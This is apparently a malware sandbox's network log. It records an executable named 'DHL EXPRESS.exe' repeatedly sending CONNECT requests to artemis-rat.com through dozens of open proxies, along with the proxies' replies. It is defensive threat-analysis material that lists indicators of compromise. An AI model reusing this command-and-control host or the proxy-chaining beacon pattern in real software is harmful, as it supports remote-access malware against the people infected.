1168	192.168.2.8	53354	213.252.245.221	6116	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.240248919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.639404058 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.8	53471	93.190.141.102	14888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.243870020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.539688110 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.8	53350	148.72.209.174	16203	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.247838974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.956583023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.065905094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.8	53518	172.67.182.150	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.248619080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.402910948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.8	53439	103.14.224.104	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.307212114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.531759977 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.8	53272	46.209.54.110	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.307358980 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.750711918 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 18:39:04.185544014 CET	202	IN	HTTP/1.0 504 Gateway Timeout Content-Length: 735 Content-Type: text/html Date: Sat, 02 Mar 2024 04:49:06 GMT Expires: Sat, 02 Mar 2024 04:49:06 GMT Server: Mikrotik HttpProxy Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.8	53493	146.19.106.194	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.307755947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.8	52702	34.176.113.148	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.311568022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.456368923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.566226959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.566180944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.566241026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:12.268615961 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.8	53433	208.109.13.93	53778	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.311871052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.097170115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.206903934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.8	53451	185.220.226.128	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.312016964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.8	53401	122.8.149.77	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.312114000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.634046078 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.8	53329	41.65.224.91	1981	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.312174082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.206293106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.452368021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.909739971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.706629992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.564487934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.409801006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.893795967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.909462929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.8	53318	89.218.8.152	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.312319040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.8	51470	92.204.135.37	34824	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.313015938 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.456398010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.566265106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.566164970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.566248894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.569052935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:38.581378937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:02.596971035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:50.690778971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.8	53483	188.166.17.18	8881	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.313555956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.8	53253	188.136.164.140	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.318435907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.8	51450	159.223.71.71	61818	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.319991112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.409590006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.503540039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.543431044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.706463099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:26.706334114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.8	53520	192.99.169.19	8450	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.320462942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.547106028 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.8	51455	95.56.254.139	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.320981979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.748039007 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.8	53534	45.60.186.208	27488	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.324651957 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.8	53538	23.227.38.230	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.331156969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.487828970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.8	53541	45.12.31.104	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.331495047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.487894058 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
